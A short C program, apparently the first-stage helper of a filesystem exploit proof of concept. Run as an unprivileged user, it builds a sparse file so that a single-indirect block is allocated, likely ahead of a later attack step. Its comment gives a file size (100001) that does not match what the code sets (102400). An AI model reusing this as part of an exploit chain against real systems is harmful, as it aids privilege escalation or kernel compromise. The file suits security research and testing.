/* mkaim.c — phase-1 file builder for the aimed variant (run as maxx,
 * under the LEGIT nindir=1024 mount): create file g, write 1 byte at
 * offset 100 KB so balloc allocates its single-indirect block (i_ib[0]
 * real, content = 1024 mostly-zero entries), di_size = 100001.
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv){
    const char *path = argc > 1 ? argv[1] : "/mnt/poc/d/g";
    int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644);
    if (fd < 0) { perror("open"); return 1; }
    if (lseek(fd, 100*1024, SEEK_SET) < 0) { perror("lseek"); return 1; }
    if (write(fd, "A", 1) != 1) { perror("write"); return 2; }
    if (ftruncate(fd, 102400)) { perror("ftruncate"); return 3; }
    printf("built %s: size=102400, single-indirect allocated (uid=%d)\n",
        path, getuid());
    return 0;
}